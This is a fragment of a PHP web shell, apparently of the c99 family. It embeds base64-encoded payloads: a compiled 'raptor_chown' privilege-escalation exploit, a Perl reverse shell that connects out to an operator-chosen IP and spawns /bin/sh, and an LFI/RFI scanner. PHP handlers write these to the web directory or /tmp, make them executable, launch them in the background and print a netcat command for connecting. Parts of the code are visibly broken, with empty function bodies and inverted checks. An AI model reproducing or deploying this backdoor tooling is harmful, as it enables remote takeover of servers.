$raptorchown = "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\r\nQ29weXJpZ2h0IChjKSAyMDA0IE1hcmNvIEl2YWxkaSA8cmFwdG9yQDB4ZGVhZGJlZWYuaW5mbz4A\r\nAAAAAAAAAHJhcHRvcl9jaG93bi5jIC0gc3lzX2Nob3duIG1pc3NpbmcgREFDIGNvbnRyb2xzIG9u\r\nIExpbnV4ACVzCiVzCgoAdXNhZ2U6ICVzIGZpbGVfbmFtZQoKAEVycm9yOiBOb3QgdnVsbmVyYWJs\r\nZSEKAEVycm9yAE5pbnBvdTogc3lzX2Nob3duIG5vIGp1dHN1IQoAL2Jpbi9scyAtbCAlcwAAAAAA\r\nAAAAAOSYBAgAAAAAAQAAAAEAAAAMAAAAnIMECA0AAADIhgQIBAAAAEiBBAgFAAAAYIIECAYAAACQ\r\ngQQICgAAAJcAAAALAAAAEAAAABUAAAAAAAAAAwAAAOyYBAgCAAAASAAAABQAAAARAAAAFwAAAFSD\r\nBAgRAAAARIMECBIAAAAQAAAAEwAAAAgAAAD+//9vFIMECP///28BAAAA8P//b/iCBAgAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA\r\nAAAAABCYBAgAAAAAAAAAAMqDBAjagwQI6oMECPqDBAgKhAQIGoQECCqEBAg6hAQISoQECAAAAAAA\r\nR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH\r\nQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD\r\nQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAALnN5\r\nbXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5bnN5\r\nbQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAu\r\naW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3RvcnMA\r\nLmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAABSBBAgUAQAAEwAAAAAAAAAAAAAAAQAAAAAAAAAj\r\nAAAABwAAAAIAAAAogQQIKAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAUAAAACAAAASIEECEgB\r\nAABIAAAABAAAAAAAAAAEAAAABAAAADcAAAALAAAAAgAAAJCBBAiQAQAA0AAAAAUAAAABAAAABAAA\r\nABAAAAA/AAAAAwAAAAIAAABgggQIYAIAAJcAAAAAAAAAAAAAAAEAAAAAAAAARwAAAP///28CAAAA\r\n+IIECPgCAAAaAAAABAAAAAAAAAACAAAAAgAAAFQAAAD+//9vAgAAABSDBAgUAwAAMAAAAAUAAAAB\r\nAAAABAAAAAAAAABjAAAACQAAAAIAAABEgwQIRAMAABAAAAAEAAAAAAAAAAQAAAAIAAAAbAAAAAkA\r\nAAACAAAAVIMECFQDAABIAAAABAAAAAsAAAAEAAAACAAAAHUAAAABAAAABgAAAJyDBAicAwAAFwAA\r\nAAAAAAAAAAAABAAAAAAAAABwAAAAAQAAAAYAAAC0gwQItAMAAKAAAAAAAAAAAAAAAAQAAAAEAAAA\r\newAAAAEAAAAGAAAAVIQECFQEAAB0AgAAAAAAAAAAAAAEAAAAAAAAAIEAAAABAAAABgAAAMiGBAjI\r\nBgAAGwAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAIAAAAAhwQIAAcAAAABAAAAAAAAAAAAACAA\r\nAAAAAAAAjwAAAAEAAAADAAAAAJgECAAIAAAMAAAAAAAAAAAAAAAEAAAAAAAAAJUAAAABAAAAAgAA\r\nAAyYBAgMCAAABAAAAAAAAAAAAAAABAAAAAAAAACfAAAABgAAAAMAAAAQmAQIEAgAAMgAAAAFAAAA\r\nAAAAAAQAAAAIAAAAqAAAAAEAAAADAAAA2JgECNgIAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAAB\r\nAAAAAwAAAOCYBAjgCAAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAAAQAAAAMAAADomAQI6AgAAAQA\r\nAAAAAAAAAAAAAAQAAAAAAAAAuwAAAAEAAAADAAAA7JgECOwIAAA0AAAAAAAAAAAAAAAEAAAABAAA\r\nAMAAAAAIAAAAAwAAACCZBAggCQAACAAAAAAAAAAAAAAABAAAAAAAAADFAAAAAQAAAAAAAAAAAAAA\r\nIAkAAKgAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMgJAADOAAAAAAAAAAAAAAAB\r\nAAAAAAAAAAEAAAACAAAAAAAAAAAAAADQDgAA0AQAABoAAAArAAAABAAAABAAAAAJAAAAAwAAAAAA\r\nAAAAAAAAoBMAANcCAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgQQIAAAA\r\nAAMAAQAAAAAAKIEECAAAAAADAAIAAAAAAEiBBAgAAAAAAwADAAAAAACQgQQIAAAAAAMABAAAAAAA\r\nYIIECAAAAAADAAUAAAAAAPiCBAgAAAAAAwAGAAAAAAAUgwQIAAAAAAMABwAAAAAARIMECAAAAAAD\r\nAAgAAAAAAFSDBAgAAAAAAwAJAAAAAACcgwQIAAAAAAMACgAAAAAAtIMECAAAAAADAAsAAAAAAFSE\r\nBAgAAAAAAwAMAAAAAADIhgQIAAAAAAMADQAAAAAAAIcECAAAAAADAA4AAAAAAACYBAgAAAAAAwAP\r\nAAAAAAAMmAQIAAAAAAMAEAAAAAAAEJgECAAAAAADABEAAAAAANiYBAgAAAAAAwASAAAAAADgmAQI\r\nAAAAAAMAEwAAAAAA6JgECAAAAAADABQAAAAAAOyYBAgAAAAAAwAVAAAAAAAgmQQIAAAAAAMAFgAA\r\nAAAAAAAAAAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAA\r\nAAADABoAAQAAAHiEBAgAAAAAAgAMABEAAAAAAAAAAAAAAAQA8f8cAAAA2JgECAAAAAABABIAKgAA\r\nAOCYBAgAAAAAAQATADgAAADomAQIAAAAAAEAFABFAAAACJgECAAAAAABAA8ASQAAACSZBAgBAAAA\r\nAQAWAFUAAACchAQIAAAAAAIADABrAAAA2IQECAAAAAACAAwAEQAAAAAAAAAAAAAABADx/3cAAADc\r\nmAQIAAAAAAEAEgCEAAAA5JgECAAAAAABABMAkQAAAAyYBAgAAAAAAQAQAJ8AAADomAQIAAAAAAEA\r\nFACrAAAApIYECAAAAAACAAwAwQAAAAAAAAAAAAAABADx/9AAAAAAAAAA4AAAABIAAADhAAAAEJgE\r\nCAAAAAARABEA6gAAAACHBAgEAAAAEQAOAPEAAAAAAAAAyQEAABIAAAADAQAAAAAAABQAAAASAAAA\r\nFgEAAACYBAgAAAAAEALx/ycBAAAEmAQIAAAAABECDwA0AQAAYIYECEQAAAASAAwARAEAAAAAAAA0\r\nAAAAEgAAAGABAAAAAAAAZgAAABIAAAByAQAAnIMECAAAAAASAAoAeAEAACCZBAgEAAAAEQAWAIoB\r\nAABUhAQIAAAAABIADACRAQAAAJgECAAAAAAQAvH/pAEAABiGBAhIAAAAEgAMALQBAAAgmQQIAAAA\r\nABAA8f/AAQAABIUECBEBAAASAAwAxQEAAAAAAADVAAAAEgAAAOIBAAAAmAQIAAAAABAC8f/zAQAA\r\nAJgECAAAAAAgAA8A/gEAAMiGBAgAAAAAEgANAAQCAAAAAAAAQwAAABIAAAAWAgAAAJgECAAAAAAQ\r\nAvH/KgIAAAAAAADLAAAAEgAAADoCAAAgmQQIAAAAABAA8f9BAgAA7JgECAAAAAARABUAVwIAACiZ\r\nBAgAAAAAEADx/1wCAAAAmAQIAAAAABAC8f9vAgAABIcECAQAAAARAA4AfgIAAAAAAAAkAAAAEgAA\r\nAJECAAAAmAQIAAAAABAADwCeAgAAAAAAAAAAAAAgAAAAsgIAAACYBAgAAAAAEALx/8gCAAAAAAAA\r\nAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1Jf\r\nTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4\r\nAGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pD\r\nUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAcmFwdG9yX2Nob3duLmMAY2hvd25AQEdMSUJD\r\nXzIuMQBfRFlOQU1JQwBfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZnByaW50ZkBAR0xJQkNfMi4w\r\nAF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfX2Vycm5vX2xv\r\nY2F0aW9uQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX2luaXQAc3RkZXJyQEBHTElCQ18y\r\nLjAAX3N0YXJ0AF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQA\r\nbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9lbmQAZGF0YV9z\r\ndGFydABfZmluaQBnZXRnaWRAQEdMSUJDXzIuMABfX3ByZWluaXRfYXJyYXlfZW5kAGV4aXRAQEdM\r\nSUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2FycmF5X3N0\r\nYXJ0AF9JT19zdGRpbl91c2VkAHNwcmludGZAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX0p2X1Jl\r\nZ2lzdGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";


$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";



$fi = "\r\nIyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9\r\n";
if ( !isset( $_POST['backconnectport'] ) && $_POST['use'] == "shbd" )
{
    $ip = gethostbyname( $_SERVER['HTTP_HOST'] );
    $por = $_POST['backconnectport'];
    if ( is_writable( "." ) )
    {
        cfb( "shbd", $backdoor );
        chmod( "shbd", 511 );
        $cmd = "./shbd $por";
        exec( "$cmd > /dev/null &" );
        $scan = myshellexec( "ps aux" );
        if ( eregi( "./shbd $por", $scan ) )
        {
            $data = "\n</br></br>Process found running, backdoor setup successfully.";
        }
        else if ( eregi( "./shbd $por", $scan ) )
        {
            $data = "\n</br>Process not found running, backdoor not setup successfully.";
        }
        $_POST['backcconnmsg'] = "To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
    }
    cfb( "/tmp/shbd", $backdoor );
    chmod( "/tmp/shbd", 511 );
    $cmd = "./tmp/shbd $por";
    exec( "$cmd > /dev/null &" );
    $scan = myshellexec( "ps aux" );
    if ( eregi( "./shbd $por", $scan ) )
    {
        $data = "\n</br></br>Process found running, backdoor setup successfully.";
    }
    else if ( eregi( "./shbd $por", $scan ) )
    {
        $data = "\n</br>Process not found running, backdoor not setup successfully.";
    }
    $_POST['backcconnmsg'] = "To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
}
if ( !isset( $_POST['backconnectip'] ) && !isset( $_POST['backconnectport'] ) && $_POST['use'] == "Perl" )
{
    if ( is_writable( "." ) )
    {
        cf( "back", $back_connect );
        $p2 = which( "perl" );
        $blah = ex( $p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
        $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
        if ( file_exists( "back" ) )
        {
            unlink( "back" );
        }
    }
    cf( "/tmp/back", $back_connect );
    $p2 = which( "perl" );
    $blah = ex( $p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
    $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
    if ( file_exists( "/tmp/back" ) )
    {
        unlink( "/tmp/back" );
    }
}
if ( !isset( $_POST['backconnectip'] ) && !isset( $_POST['backconnectport'] ) && $_POST['use'] == "C" )
{
    if ( is_writable( "." ) )
    {
        cf( "backc", $back_connect_c );
        chmod( "backc", 511 );
        $blah = ex( "./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
        $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
        if ( file_exists( "backc" ) )
        {
            unlink( "backc" );
        }
    }
    chmod( "/tmp/backc", 511 );
    cf( "/tmp/backc", $back_connect_c );
    $blah = ex( "/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
    $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
    if ( file_exists( "/tmp/backc" ) )
    {
        unlink( "/tmp/backc" );
    }
}
ini_set( "max_execution_time", 0 );
if ( !function_exists( "getmicrotime" ) )
{
}
error_reporting( 5 );
$adires = "";
@ignore_user_abort( TRUE );
@set_magic_quotes_runtime( 0 );
$win = strtolower( substr( PHP_OS, 0, 3 ) ) == "win";
define( "starttime", getmicrotime( ) );
if ( get_magic_quotes_gpc( ) )
{
    if ( !function_exists( "strips" ) )
    {
    }
    strips( $GLOBALS );
}
$_REQUEST = array_merge( $_COOKIE, $_GET, $_POST );
foreach ( $_REQUEST as $k=>$v )
{
    if ( !isset( $Var_330 ) )
    {
        ${ $k } = $v;
    }
}
$shver = "1.3.37";
if ( !isset( $unset_surl ) )
{
    setcookie( "GNY_surl" );
    $surl = "";
}
else if ( !isset( $set_surl ) )
{
    $surl = $set_surl;
    setcookie( "GNY_surl", $surl );
}
else
{
    $surl = $_REQUEST['GNY_surl'];
}
$surl_autofill_include = TRUE;
if ( $surl_autofill_include && !$_REQUEST['GNY_surl'] )
{
    $include = "&";
    foreach ( explode( "&", getenv( "QUERY_STRING" ) ) as $v )
    {
        $v = explode( "=", $v );
        $name = urldecode( $v[0] );
        $value = urldecode( $v[1] );
        foreach ( array( "http://", "https://", "ssl://", "ftp://", "\\\\" ) as $needle )
        {
            if ( strpos( $value, $needle ) === 0 )
            {
                $includestr .= urlencode( $name )."=".urlencode( $value )."&";
            }
        }
    }
    if ( $_REQUEST['surl_autofill_include'] )
    {
        $includestr .= "surl_autofill_include=1&";
    }
}
if ( isset( $surl ) )
{
    $surl = "?".$includestr;
}
$surl = htmlspecialchars( $surl );
$timelimit = 0;
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array( "*" );
$login_txt = "Restricted area";
$accessdeniedmess = "You cannot access this file directly.<br /><a href=\"javascript: history.go(-1)\">Go Back</a>";
$gzipencode = TRUE;
$updatenow = FALSE;
$GNY_updateurl = "";
$GNY_sourcesurl = "";
$filestealth = TRUE;
$donated_html = "";
$donated_act = array( "" );
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "user@host.tld";
$sort_default = "0a";
$sort_save = TRUE;
$ftypes = array( "html"=>array( "html", "htm", "shtml" ), "txt"=>array( "txt", "conf", "bat", "sh", "js", "bak", "doc", "log", "sfc", "cfg", "htaccess", "passwd", "shadow" ), "exe"=>array( "sh", "install", "bat", "cmd" ), "ini"=>array( "ini", "inf" ), "code"=>array( "php", "phtml", "php3", "php4", "inc", "tcl", "h", "c", "cpp", "py", "cgi", "pl" ), "img"=>array( "gif", "png", "jpeg", "jfif", "jpg", "jpe", "bmp", "ico", "tif", "tiff", "avi", "mpg", "mpeg" ), "sdb"=>array( "sdb" ), "phpsess"=>array( "sess" ), "download"=>array( "exe", "com", "pif", "src", "lnk", "zip", "rar", "gz", "tar" ) );
$dizin = str_replace( "\\", DIRECTORY_SEPARATOR, $dizin );
if ( isset( $dizin ) )
{
    $dizin = realpath( "." );
}
else if ( realpath( $dizin ) )
{
    $dizin = realpath( $dizin );
}
$dizin = str_replace( "\\", DIRECTORY_SEPARATOR, $dizin );
if ( substr( $dizin, 0 - 1 ) != DIRECTORY_SEPARATOR )
{
    $dizin .= DIRECTORY_SEPARATOR;
}
$dizin = str_replace( "\\\\", "\\", $dizin );
